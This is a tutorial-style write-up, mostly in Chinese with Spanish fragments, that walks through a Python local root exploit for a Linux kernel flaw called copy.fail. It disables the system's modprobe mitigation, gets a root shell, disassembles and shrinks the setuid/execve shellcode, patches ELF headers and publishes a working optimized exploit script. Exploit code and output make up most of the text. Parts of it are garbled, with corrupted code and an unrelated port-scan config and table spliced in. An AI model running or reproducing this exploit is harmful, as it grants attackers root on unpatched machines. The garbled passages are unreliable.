以 Theori 发布的源代码为基础,我们将进行多项练习,直至将其完全转换为纯汇编语言(无外部库)。```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## 测试环境
我们将使用以下机器进行练习。```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
我们运行Python程序来验证系统是否存在漏洞。如果报错,则不存在漏洞;如果打开sh shell,则存在漏洞。```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### 禁用缓解措施
在这台机器上,缓解措施是通过自动安全更新下载的,因此失败了。为了测试,我们通过重命名缓解措施所在的文件来降低防御。```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
我们再次测试这个程序,这次它返回了shell,我们确认自己是root。```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### 重新激活保护
练习结束后,我们执行以下操作来重新激活保护:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
我们首先要分析的是使用zlib压缩的字符串是什么。为此,我们创建了一个Python程序decompress.py,用于解压缩并生成一个文件:output.bin。```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
我们执行并分析文件类型。```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
现在我们知道它是一个 ELF 64-bit LSB executable 文件,让我们来调查它。```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
ELF结构占用 **120 字节**:**ELF 头部**(64 字节)+ **程序头部**(56 字节)。机器码从第 120 字节(0x78)开始,这与 **入口点地址:0x400078** 一致。
### 反汇编代码
有了 **入口点地址:0x400078**,我们就可以开始反汇编代码了。```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
每个参数的解释:
-D — Disassemble All。反汇编文件的所有内容,而不仅仅是标记为代码的节。如果没有此参数,-d 只会反汇编 .text 节,而由于该文件没有 ELF 节(它是纯二进制),它将不会显示任何内容。-b binary — Binary format。告诉 objdump 将文件视为原始数据,不尝试解析 ELF 头部。如果没有此参数,objdump 会尝试读取文件的 ELF 头部,导致失败或错误的反汇编。-m i386:x86-64 — Machine architecture。指定用于反汇编的指令集。i386 是基础系列,:x86-64 指定 64 位模式。当使用 -b binary 时必须指定,因为缺少 ELF 头部时,objdump 无法获知架构。如果没有 -m,会默认 i386(32 位),导致反汇编错误——像 lea rdi, [rip+0xf] 这样的 64 位指令会被解码为垃圾代码。-M intel — Syntax mode。使用 Intel 语法(mov al, 0x69)而非 AT&T 语法(mov $0x69, %al)。总结:使用 -b binary 时,-m 是必需的,因为 objdump 无法在没有 ELF 头部的情况下推断架构。对于正常的 ELF 文件(不使用 -b binary),不需要 -m,因为架构信息保存在头部的 e_machine 字段中。
参数 -z 在此场景下至关重要,因为稍后我们会看到,有些零被用作填充,如果没有此参数,它将显示后续内容,而无法得到精确的反汇编结果。```bash
9d: 00 00 add BYTE PTR [rax],al
...
### 识别字符串 "/bin/sh"
在 objdump 的输出中,我们看到:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
并且在位置0x80,我们有:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Interpretando esta última línea inferimos que se trata de un string, que comienza en la ubicación 0x96 y termina en 0x9F. Podemos ver el string de las siguientes formas:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
El primer 00 es el null terminator que marca el fin del string (/bin/sh\0). Los dos 00 restantes son padding de alineación.
Pasando el código en limpio nos queda así:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> 填充确保总大小可被4整除,因为Python中的exploit以4字节块的形式将payload写入页缓存。如果大小不是4的倍数,最后一个块将不完整,写入将不正确。
### 验证与原文件的一致性
我们检查此代码是否与从解压缩字符串并编译为二进制文件生成的 **output.bin** 文件相同:```bash
> $ nasm -f bin payload.asm -o payload.bin
Extraemos solo el código del archivo output.bin. Como sabemos que los primeros 120 bytes corresponden a la estructura ELF, salteamos esa cantidad de bytes.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Confirmamos que nuestro código es idéntico al payload original. Se muestran tres formas de hacerlo.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
在确认payload.asm代码与原始代码完全一致后,我们对其进行优化。```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> 对齐填充:120(头部)+ 35(代码)= 155 -> +1字节 = 156 / 4 = 39块。
在**第2部分**中,我们将详细看到每次优化的原因。
编译:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
要直接执行payloads,我们必须按以下方式编译并链接它们:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
如果我们想消除警告,在 **`section .text`** 之后应该添加以下行:```assembly
global _start
_start:
我们将原始payload (output.bin) 的ELF头部(前120字节)与36字节的优化payload (payload-optimized.bin) 合并。进行一些检查,设置执行权限,然后运行以获得shell。```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## ELF 头部分析
将原始 ELF 的头部(120 字节)与优化后的 payload(36 字节)拼接后,生成的文件大小为 156 字节,但头部中的 **p_filesz** 和 **p_memsz** 字段仍然指示为 158,即原始 160 字节文件的值。我们需要分析并修正这些字段。
为此,我们需要了解 ELF 文件头部的结构。```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
我们观察 Program Header 中 p_filesz 和 p_memsz 的值。它们指示段在磁盘文件中存在多少字节,以及在加载时在内存中保留多少字节。
p_filesz 和 p_memsz 的偏移量分别为 0x60 和 0x68。```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### 字节序验证
我们直观地注意到这些值采用**小端序**,因为如果采用大端序,这些值会非常大,且与160字节的大小不符。为确认这一点,我们检查ELF头中**e_ident[5]**的值。
可能的取值如下:
| 值 | 常量 | 含义 |
|---|---|---|
| 0x01 | ELFDATA2LSB | 小端序(x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | 大端序(SPARC, PowerPC, MIPS BE) |
我们执行如下:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
确认是小端序。我们看到十进制值:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### 大小比较
列出文件的大小。```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
原始文件大小为160字节,但在结构中分配了158字节。这是因为文件末尾有两个填充字节,而作者决定精确地仅指示将要加载的字节。如果设置为158而不是160,程序仍能正确执行,因为这两个填充字节永远不会被执行(它们在exit之后),也不会被引用。
我们的优化文件占用156字节,并有一个填充字节。遵循程序作者同样的精确路线,我们将 p_filesz 和 p_memsz 定义为 155。
将155十进制转换为十六进制。```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
一个好的做法是让 Program Header 的 **p_filesz** 和 **p_memsz** 字段拥有正确的值。```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
我们确认更改已正确应用。```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
我们也可以通过查看 Program Header 来确认。```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
我们运行它,它继续正常工作。```bash
$ ./payload-optimized.elf $
## 漏洞利用中的集成
我们创建一个程序,压缩优化的负载并返回十六进制字符串以将其插入到漏洞利用中。```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
可以在仓库的 examples/advanced_scan.yml 文件中找到完整示例。
name: "Advanced Scan"
description: "Advanced port scan with service detection"
targets:
- "192.168.1.0/24"
- "10.0.0.1"
modules:
- port_scan:
ports: [21,22,80,443,8080]
timeout: 5
- service_detection:
enabled: true
注意: 在扫描不属于你的网络之前,请确保拥有适当的权限。
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
我们将原始漏洞利用中的压缩字符串替换为新的优化字符串。```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
我们用优化后的payload测试了exploit,并确认其工作正常。```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ 不要忘记 [重新启用保护](#reactivar-la-protección) 一旦测试结束。
## 联系方式
如果你有疑问、建议或更正,请告诉我仓库名称,发送至:
✉️ `[email protected]`
-z — 禁用对零序列的省略。这样会显示所有内容,不会省略零。--start-address=0x78 — 从偏移量 0x78(120 字节)开始。跳过负载的 ELF 头部和程序头部,只反汇编机器代码。如果没有此参数,会将头部反汇编为指令。| 参数 | 类型 | 默认值 | 描述 |
|---|
timeout | int | 10 | 超时时间(秒) |
retries | int | 3 | 重试次数 |
verbose | bool | false | 详细输出 |